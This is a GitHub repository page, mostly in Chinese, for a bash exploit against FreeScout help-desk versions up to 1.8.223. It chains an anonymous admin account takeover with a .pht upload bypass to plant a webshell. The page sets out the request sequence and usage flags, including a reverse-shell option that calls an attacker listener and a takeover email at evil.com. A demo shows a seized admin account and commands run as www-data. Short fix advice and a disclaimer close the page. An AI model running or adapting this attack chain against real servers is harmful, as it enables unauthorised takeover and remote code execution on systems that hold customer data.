0xdak/CVE-2026-53595_exploit

GitHub: 0xdak/CVE-2026-53595_exploit

针对 FreeScout ≤ 1.8.223 的未授权账户接管与远程代码执行组合漏洞利用脚本,通过 ATO 配合 .pht 文件上传实现从匿名到 RCE 的完整攻击链。

Stars: 0 | Forks: 0

# CVE-2026-53595 (+ CVE-2026-53593) — FreeScout 匿名 ATO → RCE **FreeScout ≤ 1.8.223**(一款 Laravel 帮助台系统)中的未授权远程代码执行,通过组合利用两个缺陷实现,这两个缺陷均已在 **1.8.224** 中修复: - **CVE-2026-53595** — 匿名 **账户接管 (ATO)**。`POST /user-setup/{hash}/{invite_sent_at}` 仅通过 `invite_hash` 列来选取账户。一个*已激活*的用户拥有 `invite_hash = ''`,而在 MySQL/MariaDB 中,`VARCHAR` 相等性比较**会忽略尾部空格**,因此 `hash = %20` 会匹配到管理员。`invite_sent_at` 的过期时间校验会使用用户的密码作为密钥来解密该值,但解密辅助函数在失败时**会返回原始输入**(空的 `catch` 块),因此当前 unix 时间戳的纯文本形式会被接受。然后,该端点会覆盖账户的邮箱和密码并让你登录。 - **CVE-2026-53593** — 已授权的 **`.pht` 文件上传**。上传黑名单(`php.*|sh|pl|phtml|phar`)**未**覆盖 `.pht`,而 Apache 的 `mod_php` 会将其作为 PHP 执行。 将它们组合利用,未经授权的攻击者即可获得以 web 服务器用户(`www-data`)身份执行代码的权限。 ## 执行内容 1. 发送 `GET /user-setup/%20/` 以获取会话 cookie + CSRF token。 2. 向同一个 URL 发送 `POST` 请求,覆盖管理员的邮箱/密码并登录 (ATO)。 3. 向 `POST /uploads/upload` 上传 `shell.pht` (``)。 4. 通过 webshell 运行命令,或打开一个反向 shell。 ## 用法 ``` ./exploit.sh -t [options] -t, --target URL target base URL (e.g. http://10.10.10.10) [required] -c, --cmd CMD run a single command (default: id) --lhost IP reverse shell: attacker IP (start nc first) --lport PORT reverse shell port (default 4444) --email ADDR email to set on the seized admin (default pwned@evil.com) --password PASS password to set (default Pwned12345) -h, --help ``` ## 演示 ``` $ ./exploit.sh -t http://10.10.10.10 [*] fetching setup form (hash=%20, ts=1784500000) ... [*] seizing admin -> pwned@evil.com / Pwned12345 ... [+] admin account taken over (you can also log in at http://10.10.10.10/login) [*] uploading .pht webshell ... [+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht [+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data) $ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt' ... [+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30 # reverse shell (先运行 `nc -lvnp 4444`) $ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444 [+] admin account taken over ... [+] webshell: http://10.10.10.10/storage/uploads/....pht [*] sending reverse shell to 10.10.14.7:4444 ... [+] payload sent — check your listener. ``` ## 环境要求 - `bash`、`curl`、`jq` ## 注意事项 - 适用于 FreeScout `1.0.x – 1.8.223`;`1.8.224+` 修复了这两个漏洞(`302` 会变成接管失败)。 - RCE 会以 **www-data**(Apache 用户)身份执行。`.pht` 执行取决于服务器是否通过 `mod_php` 运行 `.pht` 文件 —— 即 CVE 针对的“标准 Apache + libapache2-mod-php”环境。 - 反向 shell 在进入 webshell 之前会进行 base64 编码:`system()` 通过 `/bin/sh`(Debian/Ubuntu 上的 dash)运行,它不支持 bash 专用的 `>& /dev/tcp/...` 重定向,并且 base64 也避免了所有的引号引用隐患。 - 默认密码中不包含 `!` 是故意的 —— `!` 会在交互式 bash/zsh 中触发历史扩展,并破坏粘贴的命令。 ## 修复建议 - 升级至 FreeScout **1.8.224+**。 - 切勿使用 `VARCHAR` 相等性比较来处理安全 token(会导致尾部空格冲突),且切勿将解密失败视为有效值 —— 应拒绝空/无效的 token。 - 使用上传白名单,将上传文件存储在 web 根目录之外,并通过绝不会执行它们的管理程序来提供服务。 ## 免责声明 仅供授权的安全测试和教育目的使用。请勿对您不拥有或未获得明确测试许可的系统使用此方法。作者对任何滥用行为不承担任何责任。
标签:CISA项目, 应用安全, 编程工具, 账户接管, 远程代码执行